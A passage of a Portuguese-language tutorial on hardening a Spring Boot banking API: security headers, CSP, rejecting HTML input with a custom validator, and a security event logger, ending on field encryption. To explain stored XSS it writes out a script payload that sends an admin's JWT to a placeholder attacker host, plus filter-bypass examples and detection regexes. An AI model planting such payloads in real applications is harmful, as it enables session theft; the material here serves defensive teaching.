    E a protecao mais poderosa contra XSS moderno.

  COMO FUNCIONA:
    CSP e uma "lista branca" do que o navegador pode carregar:

    default-src 'none'        → NAO carregue NADA por padrao
    frame-ancestors 'none'    → NAO permita ser colocado em iframe
                                (reforco do X-Frame-Options)

    Para uma API REST que so retorna JSON, isso e PERFEITO:
    - Nao ha scripts para carregar
    - Nao ha estilos para aplicar
    - Nao ha imagens para renderizar
    - Nao ha iframes para aninhar
    → Se alguem injetar <script src="...">, o navegador BLOQUEIA.

  O PODER DO CSP:
    Mesmo que um XSS consiga injetar um <script> no HTML,
    o navegador verifica o CSP: "O servidor disse default-src 'none'.
    Esse script nao esta na lista branca. NAO VOU EXECUTAR."

    CSP e como uma lista de compras: so entra no carrinho o que esta
    na lista. Se alguem tentar colocar algo extra, e rejeitado.

  CONFIGURACAO NO SPRING:
    .contentSecurityPolicy(csp ->
        csp.policyDirectives("default-src 'none'; frame-ancestors 'none'")
    )

Visualizando os headers na pratica

O que muda nas respostas HTTP da API
  ANTES (passo 3.4) — resposta sem headers de seguranca:
  ─────────────────
    HTTP/1.1 200 OK
    Content-Type: application/json
    X-RateLimit-Limit: 60
    X-RateLimit-Remaining: 59

    [{"holderName": "Riel Santos", ...}]

  DEPOIS (passo 3.5) — resposta COM headers de seguranca:
  ──────────────────
    HTTP/1.1 200 OK
    Content-Type: application/json
    X-RateLimit-Limit: 60
    X-RateLimit-Remaining: 59
    X-Content-Type-Options: nosniff             ← NAO adivinhe o tipo
    X-Frame-Options: DENY                       ← NAO coloque em iframe
    Cache-Control: no-cache, no-store,          ← NAO guarde em cache
                   max-age=0, must-revalidate
    Content-Security-Policy: default-src 'none';← NAO carregue recursos
                             frame-ancestors 'none'

    [{"holderName": "Riel Santos", ...}]

  Os headers nao mudam o conteudo — mudam o COMPORTAMENTO do navegador.
Analogia

Security headers sao como placas de instrucoes coladas nas portas de cada sala do predio:

X-Content-Type-Options = "Nao tente adivinhar o que tem dentro da caixa. Se a etiqueta diz 'JSON', trate como JSON."

X-Frame-Options = "Esta sala nao pode ser vista atraves de janelas de outros predios (iframes)."

Cache-Control = "Nao tire fotos desta sala. As informacoes aqui sao confidenciais e mudam a cada visita."

CSP = "Nesta sala, nenhum objeto externo e permitido. Nao traga pacotes (scripts), decoracoes (estilos) ou quadros (iframes) de fora. So o que ja esta aqui (JSON) e autorizado."

O que e XSS (Cross-Site Scripting)?

XSS e um ataque onde o atacante injeta codigo malicioso (geralmente JavaScript) em campos de texto de uma aplicacao. Se esse codigo for salvo no banco e depois exibido no frontend sem tratamento, o navegador de outros usuarios executa o script — podendo roubar tokens, cookies, ou redirecionar para sites falsos.

Anatomia de um ataque XSS — passo a passo
  CENARIO: Atacante cria uma conta bancaria com nome malicioso.

  PASSO 1 — Atacante envia request:
    POST /api/v1/accounts
    {
      "holderName": "<script>fetch('http://hacker.com/steal?t='+localStorage.jwt)</script>",
      "holderDocument": "12345678901",
      ...
    }

  PASSO 2 — SEM PROTECAO, o nome e salvo no banco como texto normal.

  PASSO 3 — Outro usuario (admin) abre a lista de contas no frontend:
    GET /api/v1/accounts
    → [{ "holderName": "<script>fetch('http://hacker.com/...')</script>", ... }]

  PASSO 4 — O frontend renderiza o nome sem escapar:
    <div>{account.holderName}</div>
    → O navegador interpreta como HTML e EXECUTA o script!

  PASSO 5 — O script roda no navegador do admin:
    → fetch('http://hacker.com/steal?t=eyJhbGciOiJIUzI1NiJ9...')
    → O token JWT do ADMIN e enviado para o hacker
    → Hacker tem acesso total ao sistema como admin!

  TIPOS DE XSS:
    Stored XSS:    Salvo no banco → afeta todos que visualizarem (MAIS PERIGOSO)
    Reflected XSS: Enviado na URL → afeta quem clicar no link
    DOM XSS:       Manipulacao do DOM pelo JavaScript do frontend

Nossa estrategia: REJEITAR, nao sanitizar

Existem duas estrategias para lidar com HTML em campos de texto:

Rejeitar vs Sanitizar — por que escolhemos rejeitar
  ESTRATEGIA 1 — SANITIZAR (remover tags):
  ─────────────────────────────────────────
    Input:  "<script>alert('xss')</script>Riel Santos"
    Output: "Riel Santos" (tags removidas)

    Problemas:
    - Pode alterar dados legitimos: "2 < 3" → "2  3" (perdeu o sinal)
    - Bypass: atacantes conhecem dezenas de formas de escapar sanitizacao
      Ex: <ScRiPt>, <img src=x onerror=...>, <svg/onload=...>
    - Falsa sensacao de seguranca

  ESTRATEGIA 2 — REJEITAR (nosso caso):
  ──────────────────────────────────────
    Input:  "<script>alert('xss')</script>Riel Santos"
    Output: 400 Bad Request — "holderName: O campo nao pode conter HTML ou scripts"

    Vantagens:
    - Seguro: dado malicioso NUNCA chega ao banco
    - Simples: nao precisa se preocupar com bypass de sanitizacao
    - Claro: o erro diz exatamente o que esta errado
    - Adequado para APIs bancarias: nenhum campo precisa de HTML
      (holderName e um nome, nao um post de blog)

  QUANDO SANITIZAR FAZ SENTIDO:
    Em campos que PRECISAM de formatacao (editor de texto rico, CMS,
    blog). Nesses casos, usar bibliotecas como OWASP Java HTML Sanitizer
    que permitem tags seguras (<b>, <i>) e removem perigosas (<script>).
    No PixHub, nenhum campo precisa de HTML — rejeitar e a melhor opcao.

A annotation @NoHtml — como funciona

Os dois arquivos: @NoHtml e NoHtmlValidator
  ARQUIVO 1 — NoHtml.java (a annotation):
  ─────────────────────────────────────────
    @Constraint(validatedBy = NoHtmlValidator.class)  ← conecta ao validador
    @Target(ElementType.FIELD)                        ← so em campos
    @Retention(RetentionPolicy.RUNTIME)               ← disponivel em runtime
    public @interface NoHtml {
        String message() default "O campo nao pode conter HTML ou scripts";
        Class<?>[] groups() default {};               ← obrigatorio (Bean Validation)
        Class<? extends Payload>[] payload() default {};
    }

    A annotation em si NAO tem logica — ela e so uma "etiqueta".
    A logica esta no NoHtmlValidator.


  ARQUIVO 2 — NoHtmlValidator.java (a logica):
  ─────────────────────────────────────────────
    public class NoHtmlValidator implements ConstraintValidator<NoHtml, String> {

        // Regex que detecta padroes de HTML/XSS:
        private static final Pattern HTML_PATTERN = Pattern.compile(
            "<[^>]+>"                    // Tags: <script>, <img>, </div>
            + "|\\bon\\w+\\s*="            // Event handlers: onclick=, onerror=
            + "|javascript\\s*:"           // URLs: javascript:alert(1)
            + "|&(lt|gt|amp|...);"         // Entidades HTML codificadas
            Pattern.CASE_INSENSITIVE       // <SCRIPT> = <script> = <ScRiPt>
        );

        @Override
        public boolean isValid(String value, ConstraintValidatorContext ctx) {
            if (value == null || value.isEmpty()) return true;  // @NotBlank cuida
            return !HTML_PATTERN.matcher(value).find();         // encontrou HTML? INVALIDO
        }
    }
O que a regex detecta
  PADRAO             EXEMPLO                          DETECTADO?
  ──────             ───────                          ──────────
  Tags HTML          <script>alert(1)</script>        ✅ SIM
                     <img src=x onerror=...>          ✅ SIM
                     <a href="http://hacker.com">     ✅ SIM
                     <div style="...">                ✅ SIM

  Event handlers     onclick="..."                    ✅ SIM
                     onerror="..."                    ✅ SIM
                     onload="..."                     ✅ SIM

  JavaScript URLs    javascript:alert(1)              ✅ SIM
                     JAVASCRIPT:fetch(...)            ✅ SIM (case insensitive)

  Entidades HTML     &lt;script&gt;                     ✅ SIM (bypass attempt)
                     &#60;script&#62;                  ✅ SIM (numeric entities)

  Texto normal       Riel Santos                      ❌ NAO (nome valido)
                     Maria da Silva                   ❌ NAO (nome valido)
                     O'Brien                          ❌ NAO (apostrofo OK)
                     José García                      ❌ NAO (acentos OK)

Como aplicamos nos DTOs

Campos protegidos com @NoHtml
  // CreateAccountRequest.java:
  @NotBlank(message = "Nome do titular e obrigatorio")
  @Size(min = 2, max = 120)
  @NoHtml                           ← NOVO: rejeita HTML
  private String holderName;

  // UpdateAccountRequest.java:
  @Size(min = 2, max = 120)
  @NoHtml                           ← NOVO: rejeita HTML
  private String holderName;

  // RegisterRequest.java:
  @NotBlank(message = "Nome completo e obrigatorio")
  @Size(min = 2, max = 120)
  @NoHtml                           ← NOVO: rejeita HTML
  private String fullName;

  ────────────────────────────────────────────────────────

  Por que so nesses 3 campos?
  Porque sao os unicos campos de TEXTO LIVRE — o usuario digita o
  que quiser. Os outros campos sao ESTRUTURADOS:
    - email: validado por @Email (formato fixo)
    - password: nunca exibido no frontend (hash no banco)
    - holderDocument: validado por @Pattern (so digitos)
    - bankCode: validado por @Pattern (so digitos)
    - branch/accountNumber: @Size restrito
    - refreshToken: string JWT (formato fixo)

  Campos estruturados nao precisam de @NoHtml — o formato ja impede XSS.
O que acontece quando alguem tenta injetar HTML
  REQUEST:
    POST /api/v1/accounts
    {
      "holderName": "<script>alert('xss')</script>",
      "holderDocument": "12345678901",
      "bankCode": "00000000",
      "branch": "0001",
      "accountNumber": "123456",
      "accountType": "CHECKING"
    }

  PROCESSAMENTO (cadeia de validacao):
    1. @NotBlank → OK (campo preenchido)
    2. @Size(min=2, max=120) → OK (36 caracteres)
    3. @NoHtml → FALHOU! Regex detectou "<script>...</script>"
    → MethodArgumentNotValidException lancada
    → GlobalExceptionHandler captura

  RESPOSTA:
    HTTP/1.1 400 Bad Request
    {
      "timestamp": "2026-03-21T15:00:00",
      "status": 400,
      "error": "Bad Request",
      "message": "holderName: O campo nao pode conter HTML ou scripts",
      "path": "/api/v1/accounts"
    }

  O dado NUNCA chegou ao AccountService. NUNCA tocou o banco.
  Protecao na ENTRADA e a mais segura — bloqueia antes de qualquer processamento.
Analogia

XSS e como alguem escrevendo uma instrucao maliciosa num formulario de cadastro: em vez de escrever seu nome, escreve "quando o gerente ler isso, transfira R$ 1000 para minha conta". Se o gerente (navegador) lesse sem pensar, executaria a instrucao.

A @NoHtml e o detector de metais na entrada: antes de aceitar o formulario, verifica se contem algo perigoso. Se encontrar, recusa e diz: "Preencha novamente sem instrucoes suspeitas." O formulario nunca chega ao gerente.

Escolhemos rejeitar (nao aceitar o formulario) em vez de sanitizar (riscar as partes perigosas) porque numa API bancaria, nenhum campo PRECISA de formatacao HTML. Se alguem esta mandando HTML num campo "nome", ou e erro ou e ataque — em ambos os casos, rejeitar e a resposta certa.

Por que um logger dedicado para seguranca?

Antes do passo 3.5, os eventos de seguranca eram registrados com log.warn() e log.info() espalhados pelo AuthService. Funcionava, mas tinha problemas:

Antes vs Depois — qualidade dos logs
  ANTES (logs espalhados):
  ────────────────────────
    WARN  c.r.p.s.AuthService — Login falhou: email nao encontrado — riel@email.com
    WARN  c.r.p.s.AuthService — Login falhou para ana@email.com: tentativa 3/5
    WARN  c.r.p.s.AuthService — Usuario BLOQUEADO por excesso de tentativas: ana@email.com

    Problemas:
    ❌ Nao tem IP (de onde veio o ataque?)
    ❌ Nao tem User-Agent (curl? navegador? bot?)
    ❌ Formato inconsistente (cada log tem formato diferente)
    ❌ Dificil de filtrar (como achar SO eventos de seguranca?)

  DEPOIS (SecurityEventLogger):
  ─────────────────────────────
    WARN  c.r.p.s.SecurityEventLogger — [SECURITY] LOGIN_FAILED — Email: riel@email.com
      | Motivo: email nao encontrado | IP: 192.168.1.100 | UA: curl/7.88.1
    WARN  c.r.p.s.SecurityEventLogger — [SECURITY] LOGIN_FAILED — Email: ana@email.com
      | Motivo: senha incorreta — tentativa 3/5 | IP: 10.0.0.42 | UA: Mozilla/5.0...
    WARN  c.r.p.s.SecurityEventLogger — [SECURITY] ACCOUNT_LOCKED — Usuario bloqueado:
      ana@email.com | Tentativas: 5 | IP: 10.0.0.42 | UA: Mozilla/5.0...

    Vantagens:
    ✅ IP e User-Agent em TODOS os eventos
    ✅ Prefixo [SECURITY] filtravel (grep, Kibana, Grafana)
    ✅ Formato PADRONIZADO (tipo de evento, detalhes, contexto)
    ✅ Centralizado (um lugar para manter, nao espalhado pelo codigo)

Todos os tipos de eventos registrados

Os 7 eventos de seguranca que o logger registra
  EVENTO                LOG LEVEL   QUANDO ACONTECE                    EXEMPLO
  ──────                ─────────   ───────────────                    ───────

  LOGIN_SUCCESS         INFO        Login bem-sucedido                 [SECURITY] LOGIN_SUCCESS
                                    (credenciais OK)                   — riel@email.com
                                                                       | IP: 192.168.1.100

  LOGIN_FAILED          WARN        Credenciais invalidas              [SECURITY] LOGIN_FAILED
                                    (email nao existe ou               — ana@email.com
                                    senha errada)                      | Motivo: senha incorreta
                                                                       — tentativa 2/5

  ACCOUNT_LOCKED        WARN        5 tentativas falhas                [SECURITY] ACCOUNT_LOCKED
                                    → conta bloqueada                  — ana@email.com
                                    (possivel brute force)             | Tentativas: 5

  ACCOUNT_UNLOCKED      INFO        Bloqueio expirou                   [SECURITY] ACCOUNT_UNLOCKED
                                    (30 min passaram)                  — ana@email.com
                                    → desbloqueio automatico

  REGISTRATION          INFO        Novo usuario criado                [SECURITY] REGISTRATION
                                                                       — novo@email.com

  TOKEN_REFRESH         INFO        Tokens renovados                   [SECURITY] TOKEN_REFRESH
                                    com sucesso                        — riel@email.com

  TOKEN_REFRESH_FAILED  WARN        Tentativa de refresh               [SECURITY] TOKEN_REFRESH_FAILED
                                    com token invalido                 | Motivo: token invalido
                                    (possivel token roubado)           ou tipo errado

  ────────────────────────────────────────────────────────────────────

  Por que WARN para falhas e INFO para sucessos?
  - INFO: operacao normal, esperada (login OK, registro OK)
  - WARN: algo suspeito, merece atencao (falha de login, bloqueio)
  - ERROR: nao usado aqui (reservado para bugs reais)

  A equipe de operacoes configura alertas por nivel:
  - WARN repetido do mesmo IP → alerta de possivel brute force
  - ACCOUNT_LOCKED frequente → alerta de ataque em andamento

Como o logger pega o IP e User-Agent

RequestContextHolder — acessando a request de qualquer camada
  PROBLEMA:
    O SecurityEventLogger vive na camada SERVICE.
    A request HTTP vive na camada CONTROLLER (HttpServletRequest).
    Como pegar o IP da request sem receber como parametro?

  SOLUCAO: RequestContextHolder (do Spring)
  ──────────────────────────────────────────
    O Spring armazena a request atual em um ThreadLocal (igual ao
    SecurityContextHolder). Qualquer codigo na mesma thread pode acessar.

    private String getRequestContext() {
        ServletRequestAttributes attrs =
            (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();

        HttpServletRequest request = attrs.getRequest();
        String ip = getClientIp(request);           // IP real (via X-Forwarded-For)
        String userAgent = request.getHeader("User-Agent");  // navegador/ferramenta

        return String.format("IP: %s | UA: %s", ip, truncate(userAgent, 100));
    }

  POR QUE FUNCIONA:
  ─────────────────
    Thread 1 (request do Riel):
      RequestContextHolder → request com IP 192.168.1.100, UA: Chrome
      SecurityContextHolder → auth com email riel@email.com

    Thread 2 (request da Ana):
      RequestContextHolder → request com IP 10.0.0.42, UA: Firefox
      SecurityContextHolder → auth com email ana@email.com

    Cada thread tem sua propria request (ThreadLocal).
    O logger pega automaticamente a request da thread atual.

  ANALOGIA:
    E como um funcionario (Service) que precisa saber o numero
    da sala onde o visitante esta. Em vez de o visitante carregar
    uma placa "Sala 302", o predio tem um painel digital (ThreadLocal)
    que mostra a sala de cada pessoa automaticamente.

Como os logs ajudam na investigacao de incidentes

Cenario: detectando um ataque de brute force
  Os logs do servidor mostram:

  14:30:01 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
    | Motivo: senha incorreta — tentativa 1/5 | IP: 45.33.32.156 | UA: python-requests/2.28
  14:30:02 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
    | Motivo: senha incorreta — tentativa 2/5 | IP: 45.33.32.156 | UA: python-requests/2.28
  14:30:02 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
    | Motivo: senha incorreta — tentativa 3/5 | IP: 45.33.32.156 | UA: python-requests/2.28
  14:30:03 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
    | Motivo: senha incorreta — tentativa 4/5 | IP: 45.33.32.156 | UA: python-requests/2.28
  14:30:03 WARN [SECURITY] LOGIN_FAILED — Email: admin@pixhub.com
    | Motivo: senha incorreta — tentativa 5/5 | IP: 45.33.32.156 | UA: python-requests/2.28
  14:30:03 WARN [SECURITY] ACCOUNT_LOCKED — Usuario bloqueado: admin@pixhub.com
    | Tentativas: 5 | IP: 45.33.32.156 | UA: python-requests/2.28

  O que sabemos imediatamente:
  ────────────────────────────
  ✅ QUEM foi atacado: admin@pixhub.com (conta de admin!)
  ✅ DE ONDE: IP 45.33.32.156 (podemos bloquear no firewall)
  ✅ COM QUE: python-requests (script automatizado, nao navegador)
  ✅ QUANDO: 14:30:01 a 14:30:03 (3 segundos — claramente automatizado)
  ✅ QUANTAS: 5 tentativas → conta bloqueada
  ✅ RESULTADO: conta protegida (bloqueio + rate limit impediram mais tentativas)

  Acoes da equipe de seguranca:
  1. Bloquear o IP 45.33.32.156 no firewall
  2. Verificar se o mesmo IP tentou outras contas
  3. grep "[SECURITY].*45.33.32.156" application.log
  4. Considerar trocar a senha do admin por precaucao
Analogia

O SecurityEventLogger e o livro de ocorrencias oficial do predio. Cada evento e registrado com data, hora, quem, de onde veio e o que aconteceu. Se houver um incidente (invasao, tentativa de arrombamento), o gerente de seguranca abre o livro e tem todas as informacoes para investigar.

O prefixo [SECURITY] e como a cor da caneta no livro: ocorrencias de seguranca sao escritas em vermelho. O gerente pode folhear e achar todas as ocorrencias de seguranca so olhando a cor — nao precisa ler cada linha.

O RequestContextHolder e como o sistema de cameras do predio: o porteiro (logger) nao precisa perguntar ao visitante de onde ele veio — ele olha para a camera (ThreadLocal) e ve automaticamente qual porta o visitante usou (IP) e como estava vestido (User-Agent).

Conceitos UNIVERSAIS das protecoes adicionais

Tudo que e portavel para qualquer linguagem
  CONCEITO UNIVERSAL              JAVA (Spring)          NODE.JS (Express)      PYTHON (FastAPI)
  ──────────────────              ─────────────          ─────────────────      ────────────────

  Security headers HTTP           .headers() no          helmet (pacote npm)    Middleware custom
  (instrucoes ao navegador)        SecurityConfig         1 linha: app.use(       ou starlette
                                   ~20 linhas config       helmet())              SecureHeaders

  Rejeitar HTML em inputs         @NoHtml (annotation     express-validator      pydantic validator
  (prevencao de XSS)               customizada +           .not().contains('<')   @field_validator
                                   ConstraintValidator)    ou regex customizado    com regex

  Validar inputs na entrada       Bean Validation         express-validator      pydantic models
  (@Valid, @NotBlank, @Size)       (@Valid + annotations)  (middleware de val.)    (Field, validator)

  Logger de seguranca com         SecurityEventLogger     winston + middleware   logging + middleware
  IP + User-Agent + prefixo        (classe @Component)     que extrai req.ip      que extrai
                                   + RequestContextHolder  e req.headers.ua       request.client.host

  Regex para detectar HTML        Pattern.compile(...)    /<[^>]+>/i.test()     re.search(pattern)
  (motor de deteccao)

  X-Forwarded-For para IP real    request.getHeader(      req.ip (Express        request.headers.get(
  (suporte a proxy reverso)        "X-Forwarded-For")      pega automatico)       "x-forwarded-for")

  CSP (Content-Security-Policy)   .contentSecurityPolicy  helmet.contentSecurity  Middleware custom
  (protecao moderna contra XSS)    (csp -> directive...)    Policy({directives})   response.headers[]

Security Headers em 3 linguagens

Java (Spring Security) — configuracao detalhada
  // No SecurityConfig.java — ~20 linhas
  .headers(headers -> headers
      .contentTypeOptions(cto -> {})            // X-Content-Type-Options: nosniff
      .frameOptions(frame -> frame.deny())       // X-Frame-Options: DENY
      .cacheControl(cache -> {})                 // Cache-Control: no-store...
      .xssProtection(xss -> xss.disable())       // X-XSS-Protection: 0
      .contentSecurityPolicy(csp ->
          csp.policyDirectives("default-src 'none'; frame-ancestors 'none'"))
  )
  // Spring Security ja tem suporte nativo — so configurar.
Node.js (Express + helmet) — 1 linha faz quase tudo
  const helmet = require('helmet');

  // helmet() aplica TODOS os headers de seguranca com 1 linha!
  app.use(helmet());

  // Equivale a:
  // X-Content-Type-Options: nosniff       ✅ (automatico)
  // X-Frame-Options: DENY                 ✅ (automatico)
  // X-XSS-Protection: 0                   ✅ (automatico)
  // Content-Security-Policy               ✅ (padrao restritivo)
  // Strict-Transport-Security             ✅ (HSTS automatico)
  // ... e mais 10 headers

  // Para customizar CSP:
  app.use(helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'none'"],
        frameAncestors: ["'none'"]
      }
    }
  }));

  // Node/Express: 1 pacote, 1 linha. Muito mais simples que Spring.
Python (FastAPI) — middleware customizado
  from starlette.middleware.base import BaseHTTPMiddleware

  class SecurityHeadersMiddleware(BaseHTTPMiddleware):
      async def dispatch(self, request, call_next):
          response = await call_next(request)
          response.headers["X-Content-Type-Options"] = "nosniff"
          response.headers["X-Frame-Options"] = "DENY"
          response.headers["Cache-Control"] = "no-cache, no-store"
          response.headers["X-XSS-Protection"] = "0"
          response.headers["Content-Security-Policy"] = \
              "default-src 'none'; frame-ancestors 'none'"
          return response

  app.add_middleware(SecurityHeadersMiddleware)

  # Python: nao tem pacote "helmet" padrao, mas o middleware e simples.
  # Alternativa: pacote 'secure' (pip install secure)

Validacao anti-XSS em 3 linguagens

Java — annotation customizada @NoHtml
  // Annotation (etiqueta):
  @Constraint(validatedBy = NoHtmlValidator.class)
  public @interface NoHtml {
      String message() default "Campo nao pode conter HTML";
  }

  // Validador (logica):
  public class NoHtmlValidator implements ConstraintValidator<NoHtml, String> {
      private static final Pattern HTML = Pattern.compile("<[^>]+>|...");
      public boolean isValid(String value, ConstraintValidatorContext ctx) {
          if (value == null) return true;
          return !HTML.matcher(value).find();
      }
  }

  // Uso no DTO:
  @NoHtml
  private String holderName;

  // Java: verboso (2 arquivos), mas declarativo e reutilizavel.
Node.js — express-validator com regex
  const { body } = require('express-validator');

  const noHtml = (field) => body(field)
      .custom(value => {
          if (/<[^>]+>|on\w+\s*=|javascript:/i.test(value)) {
              throw new Error(`${field} nao pode conter HTML ou scripts`);
          }
          return true;
      });

  // Uso na rota:
  app.post('/accounts',
      noHtml('holderName'),
      noHtml('holderDocument'),
      (req, res) => { ... }
  );

  // Node: 1 funcao, inline. Menos formal que Java, mas funciona igual.
Python — pydantic validator
  import re
  from pydantic import BaseModel, field_validator

  HTML_PATTERN = re.compile(r"<[^>]+>|on\w+\s*=|javascript:", re.IGNORECASE)

  class CreateAccountRequest(BaseModel):
      holder_name: str

      @field_validator("holder_name")
      @classmethod
      def no_html(cls, value):
          if HTML_PATTERN.search(value):
              raise ValueError("Campo nao pode conter HTML ou scripts")
          return value

  # Python: integrado ao modelo (pydantic). Elegante e conciso.

O que e ESPECIFICO do Java/Spring

Coisas que so Java/Spring faz dessa forma
  ESPECIFICO DO JAVA/SPRING              O QUE RESOLVE              COMO OUTRAS FAZEM
  ─────────────────────────              ──────────────              ────────────────

  @Constraint + ConstraintValidator      Validacao customizada       Node: funcao inline
  (2 arquivos: annotation + impl)        declarativa e tipada        Python: @field_validator

  @interface NoHtml                      Definir "etiqueta" que      Node: nao tem — validacao
  (Java annotations)                     pode ser colocada em        e funcional, nao declarativa
                                         qualquer campo              Python: decorators fazem similar

  ConstraintValidatorContext             Contexto do Bean             Node: throw new Error()
  (permite customizar mensagem)          Validation para erros        Python: raise ValueError()

  .headers() no SecurityFilterChain      Configurar security          Node: helmet() (1 linha)
  (DSL fluente do Spring Security)       headers via builder          Python: middleware manual

  RequestContextHolder                   Acessar HttpServletRequest   Node: req ja esta disponivel
  (ThreadLocal da request)               de qualquer camada           Python: request ja esta no scope
                                         sem receber como parametro

  Pattern.compile() (reuso)              Compilar regex uma vez       Node: /regex/i (literal)
  (regex compilado e mais rapido)        e reutilizar (performance)   Python: re.compile() (similar)

Pseudocodigo universal das protecoes

Funciona em QUALQUER linguagem
  // PROTECAO 1 — Security Headers (no middleware de resposta):
  funcao adicionar_headers_seguranca(resposta):
      resposta.headers["X-Content-Type-Options"] = "nosniff"
      resposta.headers["X-Frame-Options"] = "DENY"
      resposta.headers["Cache-Control"] = "no-cache, no-store"
      resposta.headers["Content-Security-Policy"] = "default-src 'none'"


  // PROTECAO 2 — Anti-XSS (na validacao de entrada):
  funcao validar_sem_html(valor):
      regex = /<[^>]+>|on\w+=|javascript:/i
      se regex.encontrou(valor):
          retornar ERRO("Campo nao pode conter HTML")
      retornar OK


  // PROTECAO 3 — Logger de seguranca (no service):
  funcao registrar_evento_seguranca(tipo, detalhes):
      ip = pegar_ip_da_request_atual()
      user_agent = pegar_user_agent_da_request_atual()
      log("[SECURITY] {tipo} — {detalhes} | IP: {ip} | UA: {user_agent}")


  // Os 3 conceitos sao identicos em qualquer linguagem.
  // A LOGICA nao muda. So muda onde e como configurar.
Analogia

As protecoes adicionais sao como as normas de seguranca de predios comerciais — existem no mundo inteiro, com as mesmas regras: placas de saida de emergencia (security headers), detectores de metal na entrada (anti-XSS), e livro de ocorrencias (security logger). Nao importa se o predio esta no Brasil (Java), nos EUA (Node) ou na Franca (Python) — as normas sao as mesmas.

A diferenca e a burocracia local: no Brasil (Java), voce precisa de dois formularios para instalar o detector de metais (@NoHtml annotation + NoHtmlValidator class). Nos EUA (Node), basta uma ligacao telefonica (funcao inline). Na Franca (Python), um email formal (@field_validator). O resultado e identico — o detector funciona do mesmo jeito.

Qual problema a criptografia resolve?

3 cenarios de ataque que a criptografia impede
  CENARIO 1 — SQL Injection
  ─────────────────────────
  Um atacante consegue executar "SELECT * FROM accounts" no banco.
  SEM criptografia: ve "12345678901" (CPF real da pessoa)
  COM criptografia: ve "dGhpcyBpcyBhbiBleGFtcGxl..." (Base64 ilegivel)

  CENARIO 2 — Backup vazado
  ─────────────────────────
  Alguem obtem acesso a um backup do banco (disco, S3, etc).
  SEM criptografia: abre o .dump e ve todos os CPFs/CNPJs em texto puro
  COM criptografia: ve apenas ciphertext — precisa da chave AES para ler

  CENARIO 3 — DBA malicioso
  ─────────────────────────
  Um administrador do banco (DBA) consulta dados diretamente.
  SEM criptografia: ve documentos e chaves PIX de todos os clientes
  COM criptografia: ve lixo criptografico — a chave esta na APLICACAO, nao no banco

  Em TODOS os cenarios:
  - O atacante tem acesso ao BANCO, mas NAO a APLICACAO
  - A chave de criptografia vive em variavel de ambiente da aplicacao
  - Sem a chave, os dados sao inúteis

Antes vs Depois no banco de dados

Como os dados aparecem na tabela accounts
  ╔══════════════════════════════════════════════════════════════════════╗
  ║  ANTES (sem criptografia) — SELECT * FROM accounts                 ║
  ╠══════════════════════════════════════════════════════════════════════╣
  ║  id          │ holder_name    │ holder_document │ status            ║
  ║──────────────┼────────────────┼─────────────────┼───────────────────║
  ║  uuid-abc... │ Maria Silva    │ 12345678901     │ ACTIVE            ║
  ║  uuid-def... │ Joao Santos    │ 98765432100     │ ACTIVE            ║
  ╚══════════════════════════════════════════════════════════════════════╝
      ⚠️ CPF em texto puro — qualquer pessoa com acesso ao banco ve

  ╔══════════════════════════════════════════════════════════════════════╗
  ║  DEPOIS (com criptografia) — SELECT * FROM accounts                ║
  ╠══════════════════════════════════════════════════════════════════════╣
  ║  id          │ holder_name    │ holder_document            │ status ║
  ║──────────────┼────────────────┼────────────────────────────┼────────║
  ║  uuid-abc... │ Maria Silva    │ aG9sZGVyRG9jdW1lbnQ=...   │ ACTIVE ║
  ║  uuid-def... │ Joao Santos    │ xK3pZm9yRW5jcnlw...      │ ACTIVE ║
  ╚══════════════════════════════════════════════════════════════════════╝
      ✅ CPF criptografado — ilegivel sem a chave AES

  IMPORTANTE: holder_name NAO e criptografado porque:
  - Nao e dado regulado pela LGPD como "dado sensivel"
  - Precisamos buscar por nome (WHERE holder_name LIKE '%...')
  - Criptografia impede buscas no banco (ciphertext nao e pesquisavel)

Arquivos criados neste passo

Mapa de arquivos do passo 3.6
  ARQUIVO                              TIPO              RESPONSABILIDADE
  ─────────────────────────────────    ────              ──────────────────────────────
  EncryptionProperties.java            Config            Le a chave AES do YAML/env var
  EncryptedStringConverter.java        Converter JPA     Cifra ao salvar, decifra ao ler
  V9__expand_columns_for_encryption    Migration         Expande colunas para VARCHAR(255)
  Account.java                         Entity (edit)     @Convert em holderDocument
  PixKey.java                          Entity (edit)     @Convert em keyValue
  application.yml                      Config (edit)     Secao encryption.key

Onde a criptografia atua no fluxo da request

Fluxo: Controller → Service → JPA → Converter → Banco
  POST /api/v1/accounts
  Body: { "holderDocument": "12345678901", ... }

  ┌─────────────┐     ┌──────────────┐     ┌─────────────┐
  │ Controller   │ ──→ │ Service      │ ──→ │ Repository  │
  │ (recebe DTO) │     │ (logica)     │     │ .save()     │
  └─────────────┘     └──────────────┘     └──────┬──────┘
                                                   │
                           "12345678901"           │ JPA chama
                           (texto puro)            │ convertToDatabaseColumn()
                                                   ▼
                                           ┌───────────────────────┐
                                           │ EncryptedStringConverter│
                                           │                       │
                                           │ 1. Gera IV aleatorio  │
                                           │ 2. Cifra com AES-GCM  │
                                           │ 3. Concatena IV+cipher│
                                           │ 4. Codifica Base64    │
                                           └───────────┬───────────┘
                                                       │
                                              "aG9sZGVy..."
                                              (ciphertext)
                                                       ▼
                                              ┌─────────────────┐
                                              │   PostgreSQL     │
                                              │ holder_document  │
                                              │ = "aG9sZGVy..."  │
                                              └─────────────────┘

  Na LEITURA (GET), o fluxo e inverso:
  Banco → convertToEntityAttribute() → descriptografa → Service recebe "12345678901"

  ★ TRANSPARENCIA: Service e Controller NUNCA sabem que o dado e criptografado.
    Trabalham sempre com texto puro. O JPA cuida de tudo automaticamente.

Conexao com os passos anteriores

Analogia — O Predio Completo

Imagine que o sistema PixHub e um predio corporativo. Nos passos anteriores, protegemos o ACESSO ao predio:

Passo 3.1 criou o cadastro de funcionarios (User).
Passo 3.2 montou a recepcao com crachas (JWT).
Passo 3.3 instalou catracas em todas as portas (JwtFilter).
Passo 3.4 colocou limite de entradas por minuto (RateLimit).
Passo 3.5 adicionou detectores de metal e cameras (XSS + headers + logs).

Passo 3.6 e o cofre blindado. Mesmo que alguem invada o predio (acesse o banco), os documentos mais importantes (CPF, CNPJ, chaves PIX) estao trancados no cofre. Sem a chave do cofre (variavel de ambiente), os documentos sao inuteis.

Isso e o conceito de defense in depth (defesa em profundidade): multiplas camadas de seguranca, cada uma protegendo contra um tipo diferente de ataque. Se uma camada falha, as outras ainda protegem.

Os 3 ingredientes da criptografia simetrica

